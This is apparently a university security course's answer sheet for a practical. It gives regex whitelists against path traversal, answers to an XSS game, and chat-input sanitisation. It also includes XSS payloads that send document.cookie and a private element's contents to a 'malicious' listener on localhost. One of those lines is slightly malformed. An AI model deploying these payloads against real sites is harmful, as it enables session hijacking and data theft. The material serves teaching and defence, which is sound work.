Security Practical 2 Answers
Dr Chris G. Willcocks
Last Modified: November 8, 2019

Practical 2
These answers are not in the same order as with the questions (to prevent awkward code splits).

Prevent path traversal attacks
There are multiple ways to do this. Here are two example whitelist regex approaches:

```python
# includes server.py
if re.fullmatch(r'/[a-zA-Z]{1,20}\.[a-zA-Z]{1,4}', path):

# better more restrictive version
if re.fullmatch(r'/[a-zA-Z]{1,20}\.(css|js|html|ico)', path):

This accepts a slash, 1-20 letters, then a fullstop '.' followed by a file extension of up to 4 letters.
The second accepts a slash, 1-20 letters, then a fullstop, then either ‘css’, ‘js’, ‘html’ or ‘ico’ extensions.

Stealing document cookies

```javascript
Hello everyone!$.get('http://127.0.0.1:1337/malicious?'+document.cookie);
```

Stealing with IMG onerror

```javascript
<img src=null onerror="$.get('http://127.0.0.1:1337/malicious?'+document.cookie);">
```

Stealing without cookies

```javascript
$.get("http://127.0.0.1:1337/malicious?"+#private')[0].innerHTML);
```

Using third-party libraries
If you wish to try using third-party libraries to solve the last question, that’s fine but be aware of any code you wrote for the first half of the practical to whitelist valid paths. For example in my code I only allow one fullstop whereas a lot of third-party libraries have two full stops e.g. ‘d3.min.js’.
XSS game answers

Listing 5: Javascript

1 Level 1: Hello, world of XSS
2 <script>alert('done')</script>
3
4 Level 2: Persistence is key
5 <img src=null onerror='alert("done")'>
6
7 Level 3: That sinking feeling...
8 https://xss-game.appspot.com/level3/frame#1' onerror='alert("done")';
9
10 Level 4: Context matters
11 https://xss-game.appspot.com/level4/frame
12 timer='');alert('done
13
14 Level 5: Breaking protocol
16 Enter an email and click next.
17
18 Level 6: Follow the X
19 https://xss-game.appspot.com/level6/frame#data:text/plain,alert('done')

Preventing XSS attacks in the Chat

This is quite hard to do properly depending on the use case (the amount of rich formatting supported). In the simplest case, with no support for formatting, I opted for a basic whitelisting approach on the server:

Listing 6: Python

1 self.names.append(name)
2 self.messages.append(message)
3
4 ..becomes:
5
6 self.names.append(re.sub('[^a-zA-Z0-9 .,:!]', '', name))
7 self.messages.append(re.sub('[^a-zA-Z0-9 .,:!]', '', message))